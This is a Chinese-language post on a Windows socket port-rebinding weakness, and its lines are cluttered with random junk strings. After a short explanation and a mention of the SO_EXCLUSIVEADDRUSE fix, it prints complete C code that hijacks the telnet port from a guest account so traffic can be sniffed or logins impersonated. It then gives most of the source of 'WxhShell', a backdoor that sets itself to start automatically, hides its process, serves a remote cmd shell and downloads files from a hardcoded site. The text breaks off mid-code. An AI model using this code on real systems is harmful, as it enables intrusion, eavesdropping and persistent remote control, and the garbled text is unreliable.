在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
gm9mg*aM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
eT2*W$ t>8XTqqi saddr.sin_family = AF_INET;
OFje+S 1Bxmm# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?eV4SH +a^F\8H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5BBD.! /%lZu^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|W<+U g/13~UM\ 这意味着什么?意味着可以进行如下的攻击:
*,Bzc Z *%KKNT'* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2w)-\/j} >
xIJE2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|lv|!]qAma XD"_Iq! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G%d
( ioPUUUb) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VbBPB5 $q u{["50~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]
}f9JNf$ Pz$R(TV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q\\gpCgp vFEQ7qI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/ g 2b IHRGw #include
kA7mLrON #include
IKie1!ZU{" #include
cyJG8f #include
}^B6yWUN DWORD WINAPI ClientThread(LPVOID lpParam);
9)VF 1LD int main()
-GLMmZJt {
l3 DYg WORD wVersionRequested;
1#1 riM - DWORD ret;
u+{a8= WSADATA wsaData;
i1RiGS BOOL val;
3P;>XGCxZ SOCKADDR_IN saddr;
dK>7fy;mv SOCKADDR_IN scaddr;
trE{ FT int err;
ZcYh) HD SOCKET s;
:T9<der, SOCKET sc;
%u;~kP|S% int caddsize;
z2Z^~,i HANDLE mt;
7=(Hy\Q5xH DWORD tid;
U4G`ZKv(! wVersionRequested = MAKEWORD( 2, 2 );
qY[xpm err = WSAStartup( wVersionRequested, &wsaData );
LY-2sa#B$- if ( err != 0 ) {
GRY2?'` printf("error!WSAStartup failed!\n");
$/nY5[ return -1;
9uWY@zu }
/> 4"~q) saddr.sin_family = AF_INET;
"O(9 m.CZ }pJwj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P (S>=,Y&
YtO|D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H*9~yT'Q saddr.sin_port = htons(23);
@Vu(XG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MX+Z ? {
6]-SK$ printf("error!socket failed!\n");
Afk$?wkL return -1;
yV^s,P1 }
Uk\Id~xLV val = TRUE;
H<1WbM:w //SO_REUSEADDR选项就是可以实现端口重绑定的
6S~sVUL9` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V%Sy"IG {
VU@9@%TN printf("error!setsockopt failed!\n");
P\_` return -1;
t:fFU1x }
Q?X>E3=U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+ T8B: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
uw2hMt (N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D.mHIsX6\ }K3x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>a}f{\Q {
<vwkjCA` ret=GetLastError();
Onwp-!!.
printf("error!bind failed!\n");
@Pt="*g return -1;
GH[wv< }
]7e =fM9V; listen(s,2);
hqRw^2F while(1)
6"}?.E$ {
}3?n~s\)6f caddsize = sizeof(scaddr);
@lvyDu6e //接受连接请求
%RDI!e<e} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Qca&E`~Q if(sc!=INVALID_SOCKET)
7NJhRz`_ {
)&!&AlLn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:kGU,>BN if(mt==NULL)
nR`ov1RH {
QcpXn4/* printf("Thread Creat Failed!\n");
l<);s break;
A,4fEmWM }
){UcS/GI= }
y '!m4- CloseHandle(mt);
.?l\g-;= }
:>=\. \ closesocket(s);
sM9+dh WSACleanup();
^`G}gWBx}w return 0;
f;b[w }
,N0#!<}4 DWORD WINAPI ClientThread(LPVOID lpParam)
/i77 {
#f+$Ddg* SOCKET ss = (SOCKET)lpParam;
g1(IR)U!z SOCKET sc;
/E\%>wv unsigned char buf[4096];
o]opdw SOCKADDR_IN saddr;
rEF0oJ. long num;
7a~X:# DWORD val;
Hhh0T>gi DWORD ret;
KRA/MQ^7~U //如果是隐藏端口应用的话,可以在此处加一些判断
BT(CM,bp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rOVVL%@QqJ saddr.sin_family = AF_INET;
[ 1u-Q%?# saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ih"XV saddr.sin_port = htons(23);
cCxBzkH6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p3^m9J {
,S!azN= printf("error!socket failed!\n");
}+sT4'Ah> return -1;
Er{>p|n= }
1@-Ns val = 100;
<%"b9T`' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hq #?kN {
?F3h)(} ret = GetLastError();
G
nG>7f[v return -1;
qo|WXwP2 }
aca=yDs2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&Udb9 {
a0#J9O_ ret = GetLastError();
,l)^Ft`5 return -1;
1.6:# }
.;N 1N^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mrjswF27$o {
V=*wKuB printf("error!socket connect failed!\n");
_D+J!f^ closesocket(sc);
X93!bB closesocket(ss);
r!
MWbFw|X return -1;
ZEx}$<)_ }
Ll4g[8 while(1)
<q@a~'Ai?! {
sL$:"= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)<tI!I][j //如果是嗅探内容的话,可以再此处进行内容分析和记录
S@/IQR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c.e2 M/ num = recv(ss,buf,4096,0);
i ,/0/?)*_ if(num>0)
mVpMh#zw send(sc,buf,num,0);
PGoh1Uu else if(num==0)
BGX.U\uc break;
sdo[D num = recv(sc,buf,4096,0);
nX`u[ks if(num>0)
]@u6HH~^ send(ss,buf,num,0);
{Sj9%2'M) else if(num==0)
Bn &Ws break;
1bn^.768l }
736Jq^T closesocket(ss);
k5kxQhPf
closesocket(sc);
m+T;O/lG0{ return 0 ;
e-EUf }
q}?4f*WC ys kO Fkd+pS\9g~ ==========================================================
%Da1(bBh WL"^>[Vq 下边附上一个代码,,WXhSHELL
jr:7?8cH0L _y}
T/I9 ==========================================================
@/ohg0 P&^;656r #include "stdafx.h"
wLnf@&jQ% yL-YzF2 #include <stdio.h>
G\+L~t #include <string.h>
|M,iM] #include <windows.h>
QvKh,rBFVG #include <winsock2.h>
7V!*NBsl #include <winsvc.h>
)u`[6,d #include <urlmon.h>
`M^=
D&Bf .E8_Oz #pragma comment (lib, "Ws2_32.lib")
z?*w8kU&> #pragma comment (lib, "urlmon.lib")
N@Uy=?)ZJ LAS'u"c| #define MAX_USER 100 // 最大客户端连接数
IHv[v*4: #define BUF_SOCK 200 // sock buffer
9^#c|
0T #define KEY_BUFF 255 // 输入 buffer
7%|~>
Eu@huN*/ #define REBOOT 0 // 重启
Oagsoik #define SHUTDOWN 1 // 关机
%_%Q8,W #W.#Hjpp #define DEF_PORT 5000 // 监听端口
2Tp1n8FV U!*M*s #define REG_LEN 16 // 注册表键长度
_)>_{Pm #define SVC_LEN 80 // NT服务名长度
U"^kH| ,N]H dR // 从dll定义API
\=ux atw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
NUWDc]@J* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
=k^Y?. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
po2! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
UMm!B `M biU^[g(" // wxhshell配置信息
-7@/[9Gf`: struct WSCFG {
b((M)Gz int ws_port; // 监听端口
{CGUL|y char ws_passstr[REG_LEN]; // 口令
_C*fs<# int ws_autoins; // 安装标记, 1=yes 0=no
tnN.:%mZ char ws_regname[REG_LEN]; // 注册表键名
nz=GlO'[ char ws_svcname[REG_LEN]; // 服务名
q(.sq12<<W char ws_svcdisp[SVC_LEN]; // 服务显示名
Ki$MpA3j char ws_svcdesc[SVC_LEN]; // 服务描述信息
&-Gqdnc char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Pama#6?OPh int ws_downexe; // 下载执行标记, 1=yes 0=no
qGB{7-r u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
iW%I|& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Kzm+GW3o[ AicBSqUke };
3yU.& k bU2Z[sn. // default Wxhshell configuration
][+#;avU struct WSCFG wscfg={DEF_PORT,
5A3xVN= "xuhuanlingzhe",
v,-HU&/*B 1,
RL@VSHXc "Wxhshell",
i%#+\F.& "Wxhshell",
JP!~,mdS "WxhShell Service",
UU;(rS/ "Wrsky Windows CmdShell Service",
J\:R|KaP<p "Please Input Your Password: ",
"!ug_'VW 1,
[6%VRqY "
http://www.wrsky.com/wxhshell.exe",
^cP!\E-^ "Wxhshell.exe"
;Q OBBF3HG };
9.gXzPH
4~Vx3gEV: // 消息定义模块
=JK@z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%,}A@H, char *msg_ws_prompt="\n\r? for help\n\r#>";
8QLj[" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pz\
+U7 char *msg_ws_ext="\n\rExit.";
IoQEtA char *msg_ws_end="\n\rQuit.";
j7$e28|_n char *msg_ws_boot="\n\rReboot...";
!sQY&* char *msg_ws_poff="\n\rShutdown...";
ZojIR\F^ char *msg_ws_down="\n\rSave to ";
j<VFn~*_ v1+3}5b'uF char *msg_ws_err="\n\rErr!";
mD$A4Y-'p char *msg_ws_ok="\n\rOK!";
>~[c|ffyo/ H8Bs<2 char ExeFile[MAX_PATH];
:t8b39 int nUser = 0;
"55skmD.P HANDLE handles[MAX_USER];
.f%fHj int OsIsNt;
dJeNbVd ~J wb`g. SERVICE_STATUS serviceStatus;
RKHyw08 SERVICE_STATUS_HANDLE hServiceStatusHandle;
&5fJPv & c'>/ // 函数声明
f_jo+z{-ik int Install(void);
\E72L5nJW int Uninstall(void);
PV'x+bN5 int DownloadFile(char *sURL, SOCKET wsh);
|:nOp(A\* int Boot(int flag);
m? J0i>H
void HideProc(void);
V@e?#iz int GetOsVer(void);
LrM=*Rh,O int Wxhshell(SOCKET wsl);
7~^GA.92 void TalkWithClient(void *cs);
oTU!R , int CmdShell(SOCKET sock);
jnK WZ/R int StartFromService(void);
~:kZgUP_f int StartWxhshell(LPSTR lpCmdLine);
42{Ew8 /YP{,#p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sJ;g$TB VOID WINAPI NTServiceHandler( DWORD fdwControl );
-3t7* \qdHX // 数据结构和表定义
s C%&cRQD SERVICE_TABLE_ENTRY DispatchTable[] =
#>b3"[ | {
Neq+16*u {wscfg.ws_svcname, NTServiceMain},
D/Z6C&/I {NULL, NULL}
TJ_$vI };
X^}I-M%{m Z&Pg"a?\ // 自我安装
bH7X'%r int Install(void)
jVv0ST*z {
]/[FR 5> char svExeFile[MAX_PATH];
m[?E HKEY key;
!"HO]3-o strcpy(svExeFile,ExeFile);
J*yf2&lI5 N..yQ-6x? // 如果是win9x系统,修改注册表设为自启动
]i&6c if(!OsIsNt) {
dt \TQJc~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
twL3\
}N/B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<k eVrCR RegCloseKey(key);
nhB1D- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b#uL?f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@|
M|+k3 RegCloseKey(key);
@Lpq~ 1eZB return 0;
<Swt); }
Qi,j+xBp }
[-65PC4aN }
iV5yJF{ZH else {
]
bM)t< YIn',]p: // 如果是NT以上系统,安装为系统服务
;(f)&Yom SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.*@;@06? if (schSCManager!=0)
0Is,*Srr {
a]JYDq`,3 SC_HANDLE schService = CreateService
BWeA@v (
RkH W
schSCManager,
x[wq]q#* wscfg.ws_svcname,
fM]+SMZy wscfg.ws_svcdisp,
Y l4^AR& SERVICE_ALL_ACCESS,
M>wYD\oeg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
nOt&pq7 SERVICE_AUTO_START,
zvYq@Mhr SERVICE_ERROR_NORMAL,
yh Yb'GK svExeFile,
MW! srTQ_ NULL,
7L`A{L NULL,
)IP,;< NULL,
Pu7_
v NULL,
F3N?Nk/ NULL
4,bv)Im+ ` );
Sz%tJD.. if (schService!=0)
**w!CaqvY {
s`M9 CloseServiceHandle(schService);
(|[2J3ZET CloseServiceHandle(schSCManager);
@oNH@a
j% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
6*PYFf` strcat(svExeFile,wscfg.ws_svcname);
`>7;! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
chcbd
y>C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
iQ tNAj RegCloseKey(key);
kW2sY^Rg return 0;
N+m)/x
=: }
AYt%`Y.! }
3C?f(J} CloseServiceHandle(schSCManager);
xHUsFms }
Fu
SL}P }
ZOft.P O sd ,J3 return 1;
$h2){*5E{ }
`>gd&u $yn];0$J // 自我卸载
"W=AB& int Uninstall(void)
j|4<i9^} {
m4TE5q% 3 HKEY key;
KX76UW HFKfkAl if(!OsIsNt) {
yWg@v+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v/Py"hQ RegDeleteValue(key,wscfg.ws_regname);
1{r3#MVL RegCloseKey(key);
3/aMJR:o
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Hc!
mB RegDeleteValue(key,wscfg.ws_regname);
B( ]M& RegCloseKey(key);
txJr; return 0;
dU6ou'pf }
,p4&g)o }
|*oZ_gI }
WB?jRYp else {
Keuf9u di?K"Z> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
TlXI|3Ip if (schSCManager!=0)
88VZR&v {
$}<PL}+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=@m &s^R if (schService!=0)
.Obw|V- {
udxFz2>_l$ if(DeleteService(schService)!=0) {
_a5d?Q9Z CloseServiceHandle(schService);
pf%=h
| CloseServiceHandle(schSCManager);
k&&2Tq return 0;
`s"'r ! }
_4rFEYz$d CloseServiceHandle(schService);
f* !j[U/r_ }
=q>'19^Jx CloseServiceHandle(schSCManager);
W0y '5` }
KX!T8+Y }
= 6tHsN23 %dRo^E1p return 1;
5\N(PL }
~;QvWS z8jk[5z // 从指定url下载文件
`{eyvW[Ks int DownloadFile(char *sURL, SOCKET wsh)
J{l1nHQZSu {
)hd@S9Z.Y HRESULT hr;
VCu{&Sh* char seps[]= "/";
u6M.' char *token;
g$7{-OpB char *file;
!;EjB*& char myURL[MAX_PATH];
qHsUP;7 char myFILE[MAX_PATH];
k>F'ypm bBu,#Mc strcpy(myURL,sURL);
@PN#p"KaT token=strtok(myURL,seps);
y)F;zW<+ while(token!=NULL)
_wC3kAO {
?Eg(Gu.J file=token;
Q~814P8] token=strtok(NULL,seps);
FqkDKTS\& }
NS9B[*"Jl wHsYF` GetCurrentDirectory(MAX_PATH,myFILE);
3Vsc 9B"w strcat(myFILE, "\\");
#hW;Ju73 strcat(myFILE, file);
nIAx2dh? send(wsh,myFILE,strlen(myFILE),0);
8yRJD[/S send(wsh,"...",3,0);
r>dwDBE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_9faBrzd if(hr==S_OK)
f_wvZ& return 0;
*"R|4"uy else
2Gz}T _e return 1;
* 1T& -|kA)M[ }
XOxr?NPQ^ vbkI^+=,YY // 系统电源模块
z3`-plE int Boot(int flag)
I'\kFjc {
?f#y1m HANDLE hToken;
n?A6u\sQ TOKEN_PRIVILEGES tkp;
+~'865 { ICuF % if(OsIsNt) {
P1zKsY,l$< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rW0kA1=E LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZZWD8AX tkp.PrivilegeCount = 1;
cnSJ{T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
sqla}~CiX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'HT7_$?* if(flag==REBOOT) {
P.6nA^hXB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rJPb 3F return 0;
K2he4< }
6^%UU
o% else {
LL] zT H0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qgE 73.!`6 return 0;
wDcj,:h` }
4S,`bnmB }
^cV;~&|.Xk else {
EM]s/LD@% if(flag==REBOOT) {
Acnl^x7Y1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
e.]K L(' return 0;
i7]4W }
t/ +=|* else {
^sa#8^,K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jL(qf~c_ return 0;
:Nu^ }
M54j@_81pX }
H:!7: >G);j@Q return 1;
HuB<k3#sPy }
zEs>b(5u q+P|l5_
t // win9x进程隐藏模块
aT_&x@x void HideProc(void)
8S>&WR%jH] {
([
jF4/ `n$I]_}/% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%R@X>2l/_ if ( hKernel != NULL )
7+]=- {
`^bgUmJ~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
D-8O+.@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6WV\}d: FreeLibrary(hKernel);
GMMp|WV| }
+hn+K1 @b"t]#V(E return;
xB_!>SqF1U }
}MRd@ 0-?! MHSs!^/g5 // 获取操作系统版本
tYZ[68 int GetOsVer(void)
dA@'b5N{" {
_Xn qb+ OSVERSIONINFO winfo;
Is]aj-#r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]GN7+8l GetVersionEx(&winfo);
sW)Zi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
t0z!DOODZP return 1;
~(x;5{ else
T;@;R% return 0;
,$1eFgY% }
W- i&sUgy Z^V6K3GSz- // 客户端句柄模块
N5* u]j int Wxhshell(SOCKET wsl)
+u!0rLb {
M(jgd SOCKET wsh;
GN-mrQo struct sockaddr_in client;
fNb`X DWORD myID;
,$;yY)x7U ,
FhekaA while(nUser<MAX_USER)
vN|l\!~ {
{S,l_d+( int nSize=sizeof(client);
.7i` (F) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Uu!f,L;ty if(wsh==INVALID_SOCKET) return 1;
.%.9n\b ,stN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wSb1"a if(handles[nUser]==0)
3= xhoRX closesocket(wsh);
S>.SSXlM else
Q@
2i~Qo[ nUser++;
(Q%'N3gk }
~\=1'D^6CK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7:9.&W/KE /J04^6 return 0;
,S'p%g }
XEn*?.e _{R=B8Zz\ // 关闭 socket
'&.# void CloseIt(SOCKET wsh)
G"X8}:} {
R<sJ^nx closesocket(wsh);
t'BLVCu nUser--;
(7XCA,KTGI ExitThread(0);
W5?yy>S6N }
V6t,BJjS `kbSu} // 客户端请求句柄
6T+FH;h
void TalkWithClient(void *cs)
5O~HWBX. {
Mr?Xp(.}G j6>.n49_ SOCKET wsh=(SOCKET)cs;
HHq_P/' char pwd[SVC_LEN];
G2t;DN( char cmd[KEY_BUFF];
2R=DB`3 char chr[1];
bhkUKxd int i,j;
SG-'R1
J }:u~K;O87 while (nUser < MAX_USER) {
FL(6?8zK w=j if(wscfg.ws_passstr) {
Np'2}6P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*c%oN
| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o&`<+4
i //ZeroMemory(pwd,KEY_BUFF);
2WtRJi?b| i=0;
F#5B<I while(i<SVC_LEN) {
w=LP"bqlI f 1w~!O9 // 设置超时
0KMctPT]p fd_set FdRead;
y]J89
struct timeval TimeOut;
WcHgBbNe FD_ZERO(&FdRead);
eFpTW&9n FD_SET(wsh,&FdRead);
[%9noB TimeOut.tv_sec=8;
MF~H"D
n TimeOut.tv_usec=0;
(q{Ck#+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ZKQG:M~| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@;<ht c jV?
}9L^; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
PQK(0iCo4 pwd
=chr[0]; k]5Bykf`Ky
if(chr[0]==0xd || chr[0]==0xa) { SVv;q?jZ
pwd=0; TJ:]SB
break; QmLF[\Oo_
} .A-]_98Z
i++; 6U[4%(
} ;QW3CEaUq
UlAzJO6"
// 如果是非法用户,关闭 socket 8zA=;~GHP
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?;vgUO
} uL3Eq>~x
" R-!(9k^`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); io#&o;M<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TjHwjRa
,0E{h}(
while(1) { UW9?p}F
3}@_hS"^8
ZeroMemory(cmd,KEY_BUFF); iC W*]U
6oLwfTy
// 自动支持客户端 telnet标准 (9<guv
j=0; Q$:![}[(
while(j<KEY_BUFF) { ow0!%|fO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;9~6_@,@o
cmd[j]=chr[0]; yU8{i&w4
if(chr[0]==0xa || chr[0]==0xd) { h$.:Uj8/
cmd[j]=0; '@jXbN
break; +hE(Ra#
} &}?$i7x5
j++; ;5tazBy&:C
} qTAc[Ko
~mO62(8m
// 下载文件 ep=qf/vd<
if(strstr(cmd,"http://")) { ~=KJzOS,S
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0pJ
":Q/2)
if(DownloadFile(cmd,wsh)) ZTU&,1Y ;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>A98NQ
else 2Fz|fW_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VxY+h`4#
} (y?ITz9
else { vfl5Mx4
#% of;mJv
switch(cmd[0]) { Ya;9]k8,
6I!7c^]t
// 帮助 :=8t"rO=W
case '?': { c%[#~;E
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KN?6;G{
break; ;zYqsS
} a)S+8uU
// 安装 )13dn]o=2
case 'i': { DK=cVpN%s
if(Install()) B Ce|is0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Ch#-CUE/
else T"&)&"W*U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FL8g5I
break; - !>}_AH
} OvUI@,Ef
// 卸载 0TmR/uUT
case 'r': { "Ae@lINn[y
if(Uninstall())
1~l
I8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[Ye
else sf]s",t~J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \EKU*5\Hp>
break; 549jWG
} #fJ] o_
// 显示 wxhshell 所在路径 rQEyD
case 'p': { /;tPNp{!dw
char svExeFile[MAX_PATH]; wWSdTLX
strcpy(svExeFile,"\n\r"); ZxlAk+<]
strcat(svExeFile,ExeFile); aB]m*~
send(wsh,svExeFile,strlen(svExeFile),0); <)\y#N
break; 7lS#f1E
} G NS`.fS
// 重启 {@<J_A
case 'b': { &f7fK|}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fe.t/amS/
if(Boot(REBOOT)) "dROb}szn
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
bu=?N
else { QT9n,lX
closesocket(wsh); v3GwD00
ExitThread(0); "*;;H^d
} WHAQu]{
break; gqR)IVk>%
} >@YtDl8R
// 关机 WWL4`s
case 'd': { jS;J:$>^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /s-A?lw^2
if(Boot(SHUTDOWN)) >yXN,5d[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,R$u?c0>'&
else { <H0R&l\
closesocket(wsh); `'\t$nU
ExitThread(0); `xz<>g9e
} /
}R z=&
break; Qfky_5R\
} T]j.=|,d
// 获取shell Wd0[%`dq
case 's': { ]c&<zeX,
CmdShell(wsh); 4GR!y)
closesocket(wsh); {8R"O{
ExitThread(0); McoK@q;
break; <BSc* 9Q
} P_c,BlfGMH
// 退出 oW^*l#v
case 'x': { gORJWQv
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \`ZW* EtPI
CloseIt(wsh); *=fr8
break; 2DB7+aZ*
} :5/Uh/sX
// 离开 l~D N1z6`
case 'q': { >6oOZbUY0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |A%<Z(
closesocket(wsh); :QWq"cBem
WSACleanup(); xr7+$:>a
exit(1); <" @zn
break; vsL[*OeI
} ?88`fJ@tk?
} ,v&L:a
} +kq'+ Y7
i5>+}$1
// 提示信息 {V1Pp;A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n!6Z]\8~$
} '|7Woxl9
}
|7B!^
K
c*`>9mv
return; .>wv\i[p
} =?h~.lo
7 Sa1;%R
// shell模块句柄 ZhNdB
int CmdShell(SOCKET sock) BSq)RV/3
{ +n })Y
STARTUPINFO si; }<PxWZ`,\
ZeroMemory(&si,sizeof(si)); ?:|-Dq,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |v[ Rp=?]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qu<Bu)`
PROCESS_INFORMATION ProcessInfo; T6pLoaKu
char cmdline[]="cmd"; ~Ph\Sbp
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0aoHKeP
return 0; v+e|o:o#
} 9S[XTU
>a1{397Y}
// 自身启动模式 ;.wX@
int StartFromService(void) n6(i`{i
{
/%A;mlf{
typedef struct M(d6Z2ibh
{ '!P"xBVAu
DWORD ExitStatus; YUQtMf9
DWORD PebBaseAddress; mR8W]'gl.L
DWORD AffinityMask; z4@k$
L8
DWORD BasePriority; 9'x)M?{8
ULONG UniqueProcessId; q!f1~ aG
